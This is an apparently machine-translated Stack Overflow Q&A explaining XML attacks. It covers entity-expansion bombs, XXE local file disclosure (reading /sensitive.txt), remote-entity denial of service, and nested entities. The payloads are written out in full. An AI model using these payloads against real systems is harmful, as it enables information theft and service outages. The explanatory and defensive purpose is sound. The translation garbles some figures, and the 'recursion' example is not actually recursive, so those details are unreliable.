xml漏洞

Roh*_*hit 11 xml security

xml一直是面向服务的应用程序(SOA)的支柱,它将在未来成为一个有用的应用程序.由于xml简单易用,易于攻击,攻击者可以将其用于自己的目的.因此,一些攻击受到强制解析攻击,xml外部实体(XEE)攻击,xml dos(xdos)攻击,xml炸弹.
任何人都可以详细讲述这些攻击.
怎么能在一个系统中实际模拟这些攻击呢?

ewe*_*nli 19

首先,我们需要区分攻击的效果和被利用的功能.

可以利用的XML的特定功能是

  • XML实体
  • 解析器和验证器的专有扩展
  • 循环/递归引用
  • 远程访问

效果可以是

  • DOS
  • 信息披露

我认为没有"炸弹"的定义,但它指的是一种特别"紧凑"且"扩展"的攻击."强制解析攻击"利用XML模型的本质来压倒解析器.

以下示例来自XML拒绝服务攻击和防御.此外,如果您了解法语,请阅读优秀杂志" La security des web services ".

例1

使用导致DOS的实体的炸弹,因为它耗尽了内存

<?xml version="1.0"?>
<!DOCTYPE kaboom [
  <!ENTITY a "aaaaaaaaaaaaaaaaaa...">
]>
<kaboom>&a;&a;&a;&a;&a;&a;&a;&a;&a;...</kaboom>
Run Code Online (Sandbox Code Playgroud)

如果你有50'000"aaaa ... aaa"和50'0000,200KB &a:&a;...&a;的有效载荷会扩展到2GB以上的内存

例2

可以使用实体以未经授权的方式访问另一个文件.这导致信息披露.

<?xml version="1.0"?>
<!DOCTYPE letter [
     <!ENTITY file SYSTEM "/sensitive.txt" >
]>
<tag> &file; </tag>
Run Code Online (Sandbox Code Playgroud)

例3

使用某些解析器访问远程资源的能力(请参阅http://www.ibm.com/developerworks/xml/library/x-tipgentity.html),现在看看如果文件bigfile.xml是2GB 会发生什么.这可能会导致DOS.

<?xml version="1.0"?>
<!DOCTYPE letter [
     <!ENTITY file  SYSTEM "http://www.mysite.com/bigfile.xml" >
]>
<tag> &file; </tag>
Run Code Online (Sandbox Code Playgroud)

例4

这种递归会导致内存耗尽,可能是DOS.

<!ENTITY companyname "Contoso Inc.">
<!ENTITY divisionname "&companyname; Web Products Division">
Run Code Online (Sandbox Code Playgroud)

如果这是学校作业,那么你也应该考虑如何保护自己免受这种攻击.